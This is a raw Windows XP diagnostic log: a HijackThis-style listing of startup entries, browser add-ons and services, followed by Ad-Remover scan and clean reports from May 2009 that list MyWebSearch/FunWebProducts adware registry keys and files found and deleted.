R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = https://www.google.dj/?gws_rd=ssl
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = https://www.broadcom.com/support/security-center
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = https://www.broadcom.com/support/security-center
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = https://www.broadcom.com/support/security-center
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.symantec.com/enterprise/security_response/index.jsp
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant = https://www.broadcom.com/
R1 - HKCU\Software\Microsoft\Internet Connection Wizard,ShellNext = https://www.videostudiopro.com/fr/
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Window Title = Windows Internet Explorer fourni par Yahoo!
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyServer = 192.168.40.45:3128
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Liens
R3 - URLSearchHook: (no name) - {00A6FAF6-072E-44cf-8957-5838F569A31D} - C:\Program Files\MyWebSearch\bar\1.bin\MWSSRCAS.DLL
O2 - BHO: MyWebSearch Search Assistant BHO - {00A6FAF1-072E-44cf-8957-5838F569A31D} - C:\Program Files\MyWebSearch\bar\1.bin\MWSSRCAS.DLL
O2 - BHO: &Yahoo! Toolbar Helper - {02478D38-C3F9-4efb-9B51-7695ECA05670} - C:\Program Files\Yahoo!\Companion\Installs\cpn1\yt.dll
O2 - BHO: mwsBar BHO - {07B18EA1-A523-4961-B6BB-170DE4475CCA} - C:\Program Files\MyWebSearch\bar\1.bin\MWSBAR.DLL
O2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Fichiers communs\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll
O2 - BHO: RealPlayer Download and Record Plugin for Internet Explorer - {3049C3E9-B461-4BC5-8870-4C09146192CA} - C:\Program Files\Real\RealPlayer\rpbrowserrecordplugin.dll
O2 - BHO: (no name) - {7E853D72-626A-48EC-A868-BA8D5E23E045} - (no file)
O2 - BHO: Google Toolbar Helper - {AA58ED58-01DD-4d91-8333-CF10577473F7} - C:\Program Files\Google\Google Toolbar\GoogleToolbar.dll
O2 - BHO: Google Toolbar Notifier BHO - {AF69DE43-7D58-4638-B6FA-CE66B5AD205D} - C:\Program Files\Google\GoogleToolbarNotifier\5.1.1309.3572\swg.dll
O2 - BHO: myBabylon English Toolbar - {b2e293ee-fd7e-4c71-a714-5f4750d8d7b7} - C:\Program Files\myBabylon_English\tbmyBa.dll
O2 - BHO: Windows Live Toolbar Helper - {BDBD1DAD-C946-4A17-ADC1-64B5B4FF55D0} - C:\Program Files\Windows Live Toolbar\msntb.dll
O2 - BHO: Google Dictionary Compression sdch - {C84D72FE-E17D-4195-BB24-76C02E2E7C4E} - C:\Program Files\Google\Google Toolbar\Component\fastsearch_A8904FB862BD9564.dll
O2 - BHO: FDMIECookiesBHO Class - {CC59E0F9-7E43-44FA-9FAA-8377850BF205} - C:\Program Files\Free Download Manager\iefdm2.dll
O2 - BHO: TBSB06853 - {D2E45353-5501-44B3-8E61-44D023F33B64} - C:\Program Files\Saint-Coran Toolbar\saint-coran.dll
O2 - BHO: SingleInstance Class - {FDAD4DA1-61A2-4FD8-9C17-86F7AC245081} - C:\Program Files\Yahoo!\Companion\Installs\cpn1\YTSingleInstance.dll
O3 - Toolbar: Windows Live Toolbar - {BDAD1DAD-C946-4A17-ADC1-64B5B4FF55D0} - C:\Program Files\Windows Live Toolbar\msntb.dll
O3 - Toolbar: Yahoo! Toolbar - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\Program Files\Yahoo!\Companion\Installs\cpn1\yt.dll
O3 - Toolbar: My Web Search - {07B18EA9-A523-4961-B6BB-170DE4475CCA} - C:\Program Files\MyWebSearch\bar\1.bin\MWSBAR.DLL
O3 - Toolbar: Saint-Coran Toolbar - {3526DA77-E31E-43DD-94E3-16170C0AF42F} - C:\Program Files\Saint-Coran Toolbar\saint-coran.dll
O3 - Toolbar: myBabylon English Toolbar - {b2e293ee-fd7e-4c71-a714-5f4750d8d7b7} - C:\Program Files\myBabylon_English\tbmyBa.dll
O3 - Toolbar: Google Toolbar - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - C:\Program Files\Google\Google Toolbar\GoogleToolbar.dll
O4 - HKLM\..\Run: [SoundMAXPnP] C:\Program Files\Analog Devices\Core\smax4pnp.exe
O4 - HKLM\..\Run: [IgfxTray] C:\WINDOWS\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe
O4 - HKLM\..\Run: [Persistence] C:\WINDOWS\system32\igfxpers.exe
O4 - HKLM\..\Run: [ccApp] "C:\Program Files\Fichiers communs\Symantec Shared\ccApp.exe"
O4 - HKLM\..\Run: [SSBkgdUpdate] "C:\Program Files\Fichiers communs\Scansoft Shared\SSBkgdUpdate\SSBkgdupdate.exe" -Embedding -boot
O4 - HKLM\..\Run: [OpwareSE4] "C:\Program Files\ScanSoft\OmniPageSE4.0\OpwareSE4.exe"
O4 - HKLM\..\Run: [NeroFilterCheck] C:\Program Files\Fichiers communs\Ahead\Lib\NeroCheck.exe
O4 - HKLM\..\Run: [SecurDisc] C:\Program Files\Nero\Nero 7\InCD\NBHGui.exe
O4 - HKLM\..\Run: [InCD] C:\Program Files\Nero\Nero 7\InCD\InCD.exe
O4 - HKLM\..\Run: [CAPON] C:\WINDOWS\system32\Spool\Drivers\w32x86\3\CAPONN.EXE
O4 - HKLM\..\Run: [Adobe Reader Speed Launcher] "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe"
O4 - HKLM\..\Run: [TkBellExe] "C:\Program Files\Fichiers communs\Real\Update_OB\realsched.exe" -osboot
O4 - HKLM\..\Run: [MyWebSearch Plugin] rundll32 C:\PROGRA~1\MYWEBS~1\bar\1.bin\M3PLUGIN.DLL,UPF
O4 - HKLM\..\Run: [My Web Search Bar Search Scope Monitor] "C:\PROGRA~1\MYWEBS~1\bar\1.bin\m3SrchMn.exe" /m=2 /w
O4 - HKLM\..\Run: [MyWebSearch Email Plugin] C:\PROGRA~1\MYWEBS~1\bar\1.bin\mwsoemon.exe
O4 - HKLM\..\Run: [Synchronization Manager] %SystemRoot%\system32\mobsync.exe /logon
O4 - HKLM\..\Run: [YSearchProtection] "C:\Program Files\Yahoo!\Search Protection\SearchProtection.exe"
O4 - HKLM\..\Run: [System] C:\WINDOWS\system32\OeApi.vbs
O4 - HKLM\..\Run: [EasyPHP] "C:\Program Files\EasyPHP1-7\easyphp.exe"
O4 - HKLM\..\Run: [V0330Mon.exe] C:\windows\V0330Mon.exe
O4 - HKLM\..\Run: [CAP3ON] C:\windows\system32\spool\drivers\w32x86\3\CAP3ONN.EXE
O4 - HKLM\..\Run: [HP Software Update] C:\Program Files\HP\HP Software Update\HPWuSchd2.exe
O4 - HKCU\..\Run: [CTFMON.EXE] C:\windows\system32\ctfmon.exe
O4 - HKCU\..\Run: [PowerDVD] "C:\Program Files\CyberLink\PowerDVD\PowerDVD.exe" /autostart
O4 - HKCU\..\Run: [L08FXLRD_12649312] "C:\Program Files\Microsoft Etudes\Microsoft Encarta 2008 - Études DVD\EDICT.EXE" -m
O4 - HKCU\..\Run: [RayV] C:\Program Files\RayV\RayV\RayV.exe /background
O4 - HKCU\..\Run: [WrCtrl] "C:\Program Files\Kerio\WinRoute Firewall\wrctrl.exe"
O4 - HKCU\..\Run: [Google Desktop Search] "C:\Program Files\Google\Google Desktop Search\GoogleDesktop.exe" /startup
O4 - HKCU\..\Run: [swg] C:\Program Files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe
O4 - HKCU\..\Run: [SuperCopier2.exe] C:\Program Files\SuperCopier2\SuperCopier2.exe
O4 - HKCU\..\Run: [msnmsgr] "C:\Program Files\Windows Live\Messenger\msnmsgr.exe" /background
O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
O4 - HKCU\..\Run: [DriverUpdaterPro] C:\Program Files\iXi Tools\Driver Updater Pro\DriverUpdaterPro.exe -t
O4 - HKCU\..\Run: [MediaDico] C:\Program Files\Micro Application\12 DICOS Indispensables\LanceMediaDICO12.exe Lancement
O4 - HKCU\..\Run: [MyWebSearch Email Plugin] C:\PROGRA~1\MYWEBS~1\bar\1.bin\mwsoemon.exe
O4 - HKCU\..\Run: [Free Download Manager] "C:\Program Files\Free Download Manager\fdm.exe" -autorun
O4 - HKCU\..\Run: [Software Informer] "C:\Program Files\Software Informer\softinfo.exe" -autorun
O4 - HKUS\S-1-5-19\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\CTFMON.EXE (User 'SERVICE LOCAL')
O4 - HKUS\S-1-5-20\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\CTFMON.EXE (User 'SERVICE RÉSEAU')
O4 - HKUS\S-1-5-18\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\CTFMON.EXE (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\CTFMON.EXE (User 'Default user')
O4 - Startup: WordWeb.lnk = C:\Program Files\WordWeb\wweb32.exe
O4 - Global Startup: Démarrage rapide du logiciel HP Image Zone.lnk = C:\Program Files\HP\Digital Imaging\bin\hpqthb08.exe
O4 - Global Startup: Fenêtre d'état Canon LBP-810.LNK = C:\WINDOWS\system32\spool\drivers\w32x86\3\CAPPSWK.EXE
O4 - Global Startup: Fenêtre d'état de Canon LASER SHOT LBP-1120.LNK = C:\WINDOWS\system32\spool\drivers\w32x86\3\CAP3LAK.EXE
O4 - Global Startup: HP Digital Imaging Monitor.lnk = C:\Program Files\HP\Digital Imaging\bin\hpqtra08.exe
O8 - Extra context menu item: &Search - http://edits.mywebsearch.com/toolbaredits/menusearch.jhtml?p=ZJxdm150YYDJ
O8 - Extra context menu item: &Windows Live Search - res://C:\Program Files\Windows Live Toolbar\msntb.dll/search.htm
O8 - Extra context menu item: Add to Windows &Live Favorites - https://onedrive.live.com/?id=favorites
O8 - Extra context menu item: E&xporter vers Microsoft Excel - res://C:\PROGRA~1\MICROS~2\OFFICE11\EXCEL.EXE/3000
O8 - Extra context menu item: Tout télécharger avec Free Download Manager - file://C:\Program Files\Free Download Manager\dlall.htm
O8 - Extra context menu item: Télécharger avec Free Download Manager - file://C:\Program Files\Free Download Manager\dllink.htm
O8 - Extra context menu item: Télécharger la sélection avec Free Download Manager - file://C:\Program Files\Free Download Manager\dlselected.htm
O8 - Extra context menu item: Télécharger la vidéo avec Free Download Manager - file://C:\Program Files\Free Download Manager\dlfvideo.htm
O9 - Extra button: Ajout Direct - {219C3416-8CB2-491a-A3C7-D9FCDDC9D600} - C:\Program Files\Windows Live\Writer\WriterBrowserExtension.dll
O9 - Extra 'Tools' menuitem: &Ajout Direct dans Windows Live Writer - {219C3416-8CB2-491a-A3C7-D9FCDDC9D600} - C:\Program Files\Windows Live\Writer\WriterBrowserExtension.dll
O9 - Extra button: Recherche - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~2\OFFICE11\REFIEBAR.DLL
O9 - Extra button: Barre de recherche Encarta - {B205A35E-1FC4-4CE3-818B-899DBBB3388C} - C:\Program Files\Fichiers communs\Microsoft Shared\Encarta Search Bar\ENCSBAR.DLL
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\windows\Network Diagnostic\xpnetdiag.exe
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\windows\Network Diagnostic\xpnetdiag.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: Domain = gend.def
O17 - HKLM\Software\..\Telephony: DomainName = gend.def
O17 - HKLM\System\CCS\Services\Tcpip\..\{A3FF9A67-3D5D-48AA-A9CB-A5B4E1C390D1}: NameServer = 192.168.40.41
O17 - HKLM\System\CS1\Services\Tcpip\Parameters: Domain = gend.def
O17 - HKLM\System\CS2\Services\Tcpip\Parameters: Domain = gend.def
O18 - Filter: x-sdch - {B1759355-3EEC-4C1E-B0F1-B719FE26E377} - C:\Program Files\Google\Google Toolbar\Component\fastsearch_A8904FB862BD9564.dll
O23 - Service: Symantec Event Manager (ccEvtMgr) - Symantec Corporation - C:\Program Files\Fichiers communs\Symantec Shared\ccSvcHst.exe
O23 - Service: Symantec Settings Manager (ccSetMgr) - Symantec Corporation - C:\Program Files\Fichiers communs\Symantec Shared\ccSvcHst.exe
O23 - Service: Service Google Update (gupdate1c99a2cc8daa782) (gupdate1c99a2cc8daa782) - Google Inc. - C:\Program Files\Google\Update\GoogleUpdate.exe
O23 - Service: Google Software Updater (gusvc) - Google - C:\Program Files\Google\Common\Google Updater\GoogleUpdaterService.exe
O23 - Service: InCD Helper (InCDsrv) - Nero AG - C:\Program Files\Nero\Nero 7\InCD\InCDsrv.exe
O23 - Service: LiveUpdate - Symantec Corporation - C:\PROGRA~1\Symantec\LIVEUP~1\LUCOMS~1.EXE
O23 - Service: My Web Search Service (MyWebSearchService) - MyWebSearch.com - C:\PROGRA~1\MYWEBS~1\bar\1.bin\mwssvc.exe
O23 - Service: NBService - Nero AG - C:\Program Files\Nero\Nero 7\Nero BackItUp\NBService.exe
O23 - Service: NMIndexingService - Nero AG - C:\Program Files\Fichiers communs\Ahead\Lib\NMIndexingService.exe
O23 - Service: Pml Driver HPZ12 - HP - C:\windows\system32\HPZipm12.exe
O23 - Service: Symantec Management Client (SmcService) - Symantec Corporation - C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe
O23 - Service: Symantec Network Access Control (SNAC) - Symantec Corporation - C:\Program Files\Symantec\Symantec Endpoint Protection\SNAC.EXE
O23 - Service: Symantec Endpoint Protection (Symantec AntiVirus) - Symantec Corporation - C:\Program Files\Symantec\Symantec Endpoint Protection\Rtvscan.exe
O23 - Service: Yahoo! Updater (YahooAUService) - Yahoo! Inc. - C:\Program Files\Yahoo!\SoftwareUpdate\YahooAUService.exe

------- LOGFILE OF AD-REMOVER 1.1.4.0 | ONLY XP/VISTA -------

Updated by C_XX on 17/05/2009 at 19:30
Contact: AdRemover.contact@gmail.com
Website: http://pagesperso-orange.fr/NosTools/ad_remover.html

Start at: 17:38:06, 19/05/2009 | Boot mode: Normal Boot
Option: Scan | Executed from: C:\Program Files\Ad-remover\
Operating System: Microsoft® Windows XP™ Service Pack 3 v5.1.2600
Computer Name: WKS-GEN-EGN-001
Current User: administrator - Administrator

(!) -- C:\Documents and Settings\admininfo.dstaf\Ntuser.dat Loaded as: 'HKU\admininfo.dstaf'
(!) -- C:\Documents and Settings\Administrateur\Ntuser.dat Loaded as: 'HKU\Administrateur'
(!) -- C:\Documents and Settings\secretariat.dstaf\Ntuser.dat Loaded as: 'HKU\secretariat.dstaf'
(!) -- C:\Documents and Settings\USER\Ntuser.dat Loaded as: 'HKU\USER'

============ Known Adwares Found ============

Service: MyWebSearchService
.
HKCR\FunWebProducts.DataControl
HKCR\FunWebProducts.DataControl.1
HKCR\FunWebProducts.HistoryKillerScheduler
HKCR\FunWebProducts.HistoryKillerScheduler.1
HKCR\FunWebProducts.HistorySwatterControlBar
HKCR\FunWebProducts.HistorySwatterControlBar.1
HKCR\FunWebProducts.HTMLMenu
HKCR\FunWebProducts.HTMLMenu.1
HKCR\FunWebProducts.HTMLMenu.2
HKCR\FunWebProducts.IECookiesManager
HKCR\FunWebProducts.IECookiesManager.1
HKCR\FunWebProducts.KillerObjManager
HKCR\FunWebProducts.KillerObjManager.1
HKCR\FunWebProducts.PopSwatterBarButton
HKCR\FunWebProducts.PopSwatterBarButton.1
HKCR\FunWebProducts.PopSwatterSettingsControl
HKCR\FunWebProducts.PopSwatterSettingsControl.1
HKCR\MyWebSearch.ChatSessionPlugin
HKCR\MyWebSearch.ChatSessionPlugin.1
HKCR\MyWebSearch.HTMLPanel
HKCR\MyWebSearch.HTMLPanel.1
HKCR\MyWebSearch.OutlookAddin
HKCR\MyWebSearch.OutlookAddin.1
HKCR\MyWebSearch.PseudoTransparentPlugin
HKCR\MyWebSearch.PseudoTransparentPlugin.1
HKCR\MyWebSearchToolBar.SettingsPlugin
HKCR\MyWebSearchToolBar.SettingsPlugin.1
HKCR\MyWebSearchToolBar.ToolbarPlugin
HKCR\MyWebSearchToolBar.ToolbarPlugin.1
HKCR\screensavercontrol.screensaverinstaller
HKCR\screensavercontrol.screensaverinstaller.1
HKCU\Software\FunWebProducts
HKCU\Software\Microsoft\Internet Explorer\MenuExt\&Search
HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{56256A51-B582-467e-B8D4-7786EDA79AE0}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{00A6FAF1-072E-44CF-8957-5838F569A31D}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{00A6FAF6-072E-44CF-8957-5838F569A31D}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{07B18EA1-A523-4961-B6BB-170DE4475CCA}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{07B18EA9-A523-4961-B6BB-170DE4475CCA}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{1D4DB7D2-6EC9-47A3-BD87-1E41684E07BB}
HKCU\Software\MyWebSearch
HKLM\Software\Classes\FunWebProducts.DataControl
HKLM\Software\Classes\FunWebProducts.DataControl.1
HKLM\Software\Classes\FunWebProducts.HistoryKillerScheduler
HKLM\Software\Classes\FunWebProducts.HistoryKillerScheduler.1
HKLM\Software\Classes\FunWebProducts.HistorySwatterControlBar
HKLM\Software\Classes\FunWebProducts.HistorySwatterControlBar.1
HKLM\Software\Classes\FunWebProducts.HTMLMenu
HKLM\Software\Classes\FunWebProducts.HTMLMenu.1
HKLM\Software\Classes\FunWebProducts.HTMLMenu.2
HKLM\Software\Classes\FunWebProducts.IECookiesManager
HKLM\Software\Classes\FunWebProducts.IECookiesManager.1
HKLM\Software\Classes\FunWebProducts.KillerObjManager
HKLM\Software\Classes\FunWebProducts.KillerObjManager.1
HKLM\Software\Classes\FunWebProducts.PopSwatterBarButton
HKLM\Software\Classes\FunWebProducts.PopSwatterBarButton.1
HKLM\Software\Classes\FunWebProducts.PopSwatterSettingsControl
HKLM\Software\Classes\FunWebProducts.PopSwatterSettingsControl.1
HKLM\Software\Classes\screensavercontrol.screensaverinstaller
HKLM\Software\Classes\screensavercontrol.screensaverinstaller.1
HKLM\Software\Conduit
HKLM\Software\FocusInteractive
HKLM\Software\Fun Web Products
HKLM\Software\FunWebProducts
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{59C7FC09-1C83-4648-B3E6-003D2BBC7481}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{68AF847F-6E91-45DD-9B68-D6A12C30E5D7}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{9170B96C-28D4-4626-8358-27E6CAEEF907}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{D1A71FA0-FF48-48DD-9B6D-7A13A3E42127}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{DDB1968E-EAD6-40FD-8DAE-FF14757F60C7}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{F138D901-86F0-4383-99B6-9CDD406036DA}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\RunDll32Policy\f3ScrCtr.dll
HKLM\Software\Microsoft\Multimedia\WMPlayer\Schemes\f3pss
HKLM\Software\Microsoft\Office\Outlook\Addins\MyWebSearch.OutlookAddin
HKLM\Software\Microsoft\Office\Word\Addins\MyWebSearch.OutlookAddin
HKLM\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\MyWebSearch bar Uninstall
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{07B18EAB-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{25560540-9571-4D7B-9389-0F166788785A}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{3DC201FB-E9C9-499C-A11F-23C360D7C3F8}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{3E720452-B472-4954-B7AA-33069EB53906}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{63D0ED2C-B45B-4458-8B3B-60C69BBBD83C}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{7473d294-b7bb-4f24-ae82-7e2ce94bb6a9}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{98D9753D-D73B-42D5-8C85-4469CDA897AB}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{9FF05104-B030-46FC-94B8-81276E4E27DF}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{E79DFBCA-5697-4FBD-94E5-5B2A9C7C1612}
HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\MyWebSearch bar Uninstall
HKLM\Software\MyWebSearch
HKLM\SYSTEM\ControlSet002\Enum\Root\LEGACY_MYWEBSEARCHSERVICE
HKLM\SYSTEM\ControlSet002\Services\MyWebSearchService
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_MYWEBSEARCHSERVICE
HKLM\SYSTEM\CurrentControlSet\Services\MyWebSearchService
HKU\S-1-5-21-1801674531-113007714-839522115-500\Software\Microsoft\Internet Explorer\Searchscopes\{56256A51-B582-467E-B8D4-7786EDA79AE0}
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform\\FunWebProducts
HKLM\Software\Microsoft\Windows Media\Wmsdk\Sources\\F3PopularScreenSavers
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\\MyWebSearch Email Plugin
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\My Web Search Bar Search Scope Monitor
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\MyWebSearch Email Plugin
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\MyWebSearch Plugin
HKCU\Software\Microsoft\Internet Explorer\URLSearchHooks\\{00A6FAF6-072E-44CF-8957-5838F569A31D}
HKLM\Software\Microsoft\Internet Explorer\Toolbar\\{07B18EA9-A523-4961-B6BB-170DE4475CCA}
HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\\{07B18EA9-A523-4961-B6BB-170DE4475CCA}
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyWebSearch bar Uninstall
HKLM\Software\Classes\CLSID\{00A6FAF1-072E-44cf-8957-5838F569A31D}
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{00A6FAF1-072E-44cf-8957-5838F569A31D}
HKLM\Software\Classes\CLSID\{00A6FAF6-072E-44cf-8957-5838F569A31D}
HKLM\Software\Classes\CLSID\{07B18EA1-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{07B18EA1-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Classes\CLSID\{07B18EA9-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Classes\CLSID\{07B18EAB-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Classes\CLSID\{0F8ECF4F-3646-4C3A-8881-8E138FFCAF70}
HKLM\Software\Classes\CLSID\{25560540-9571-4D7B-9389-0F166788785A}
HKLM\Software\Classes\CLSID\{3DC201FB-E9C9-499C-A11F-23C360D7C3F8}
HKLM\Software\Classes\CLSID\{3E720452-B472-4954-B7AA-33069EB53906}
HKLM\Software\Classes\CLSID\{53CED2D0-5E9A-4761-9005-648404E6F7E5}
HKLM\Software\Classes\CLSID\{63D0ED2C-B45B-4458-8B3B-60C69BBBD83C}
HKLM\Software\Classes\CLSID\{7473D292-B7BB-4f24-AE82-7E2CE94BB6A9}
HKLM\Software\Classes\CLSID\{7473D294-B7BB-4f24-AE82-7E2CE94BB6A9}
HKLM\Software\Classes\CLSID\{7473D296-B7BB-4f24-AE82-7E2CE94BB6A9}
HKLM\Software\Classes\CLSID\{84DA4FDF-A1CF-4195-8688-3E961F505983}
HKLM\Software\Classes\CLSID\{8E6F1832-9607-4440-8530-13BE7C4B1D14}
HKLM\Software\Classes\CLSID\{938AA51A-996C-4884-98CE-80DD16A5C9DA}
HKLM\Software\Classes\CLSID\{98D9753D-D73B-42D5-8C85-4469CDA897AB}
HKLM\Software\Classes\CLSID\{9FF05104-B030-46FC-94B8-81276E4E27DF}
HKLM\Software\Classes\CLSID\{A9571378-68A1-443d-B082-284F960C6D17}
HKLM\Software\Classes\CLSID\{ADB01E81-3C79-4272-A0F1-7B2BE7A782DC}
HKLM\Software\Classes\CLSID\{B813095C-81C0-4E40-AA14-67520372B987}
HKLM\Software\Classes\CLSID\{C9D7BE3E-141A-4C85-8CD6-32461F3DF2C7}
HKLM\Software\Classes\CLSID\{CFF4CE82-3AA2-451F-9B77-7165605FB835}
HKLM\Software\Classes\CLSID\{D9FFFB27-D62A-4D64-8CEC-1FF006528805}
HKLM\Software\Classes\CLSID\{E79DFBCA-5697-4fbd-94E5-5B2A9C7C1612}
.
C:\Program Files\Conduit
C:\Program Files\FunWebProducts
C:\Program Files\MyWebSearch
C:\windows\System32\f3PSSavr.scr
C:\Program Files\Windows Live\Messenger\Riched20.dll
C:\Program Files\Internet Explorer\msimg32.dll

+-----------------| Eorezo Elements Found:

.

+-----------------| It's TV Elements Found:

.

+-----------------| Sweetim Elements Found:

.

+-----------------| Added Scan:
.

---- Internet Explorer Version 8.0.6001.18702 ----

[HKEY_CURRENT_USER\..\Internet Explorer\Main]

Default_Page_URL: hxxp://fr.yahoo.com/?fr=fp-yie8
Search Page: hxxp://www.google.com
Start Page: hxxp://www.google.dj/

[HKEY_USERS\S-1-5-21-1801674531-113007714-839522115-500\..\Internet Explorer\Main]

Default_Page_URL: hxxp://fr.yahoo.com/?fr=fp-yie8
Search Page: hxxp://www.google.com
Start Page: hxxp://www.google.dj/

[HKEY_LOCAL_MACHINE\..\Internet Explorer\Main]

Default_Page_URL: hxxp://securityresponse.symantec.com/avcenter/fix_homepage/
Default_Search_URL: hxxp://securityresponse.symantec.com/avcenter/fix_homepage/
Search Page: hxxp://securityresponse.symantec.com/avcenter/fix_homepage/
Start Page: hxxp://www.symantec.com/enterprise/security_response/index.jsp

[HKEY_LOCAL_MACHINE\..\Internet Explorer\ABOUTURLS]

Tabs: hxxp://ieframe.dll/tabswelcome.htm

=========== Suspicious ==========


+---------------------------------------------------------------------------+

10824 Byte(s) - C:\Ad-Report-Scan-19.05.2009.log

1 File(s) - C:\Program Files\Ad-remover\BACKUP
0 File(s) - C:\Program Files\Ad-remover\QUARANTINE

End at: 17:50:35 | 19/05/2009
.
+-----------------| E.O.F
.

------- LOGFILE OF AD-REMOVER 1.1.4.0 | ONLY XP/VISTA -------

Updated by C_XX on 17/05/2009 at 19:30
Contact: AdRemover.contact@gmail.com
Website: http://pagesperso-orange.fr/NosTools/ad_remover.html

**** LIMITED TO ****

Known Adwares

********************

Start at: 18:26:36, 19/05/2009 | Boot mode: Normal Boot
Option: Clean | Executed from: C:\Program Files\Ad-remover\
Operating System: Microsoft® Windows XP™ Service Pack 3 v5.1.2600
Computer Name: WKS-GEN-EGN-001
Current User: administrator - Administrator

(!) -- C:\Documents and Settings\admininfo.dstaf\Ntuser.dat Loaded as: 'HKU\admininfo.dstaf'
(!) -- C:\Documents and Settings\Administrateur\Ntuser.dat Loaded as: 'HKU\Administrateur'
(!) -- C:\Documents and Settings\secretariat.dstaf\Ntuser.dat Loaded as: 'HKU\secretariat.dstaf'
(!) -- C:\Documents and Settings\USER\Ntuser.dat Loaded as: 'HKU\USER'

(!) -- IE start pages/Tabs reset

============ Known Adwares Deleted ============

Service: "MyWebSearchService"
.
HKCR\FunWebProducts.DataControl
HKCR\FunWebProducts.DataControl.1
HKCR\FunWebProducts.HistoryKillerScheduler
HKCR\FunWebProducts.HistoryKillerScheduler.1
HKCR\FunWebProducts.HistorySwatterControlBar
HKCR\FunWebProducts.HistorySwatterControlBar.1
HKCR\FunWebProducts.HTMLMenu
HKCR\FunWebProducts.HTMLMenu.1
HKCR\FunWebProducts.HTMLMenu.2
HKCR\FunWebProducts.IECookiesManager
HKCR\FunWebProducts.IECookiesManager.1
HKCR\FunWebProducts.KillerObjManager
HKCR\FunWebProducts.KillerObjManager.1
HKCR\FunWebProducts.PopSwatterBarButton
HKCR\FunWebProducts.PopSwatterBarButton.1
HKCR\FunWebProducts.PopSwatterSettingsControl
HKCR\FunWebProducts.PopSwatterSettingsControl.1
HKCR\MyWebSearch.ChatSessionPlugin
HKCR\MyWebSearch.ChatSessionPlugin.1
HKCR\MyWebSearch.HTMLPanel
HKCR\MyWebSearch.HTMLPanel.1
HKCR\MyWebSearch.OutlookAddin
HKCR\MyWebSearch.OutlookAddin.1
HKCR\MyWebSearch.PseudoTransparentPlugin
HKCR\MyWebSearch.PseudoTransparentPlugin.1
HKCR\MyWebSearchToolBar.SettingsPlugin
HKCR\MyWebSearchToolBar.SettingsPlugin.1
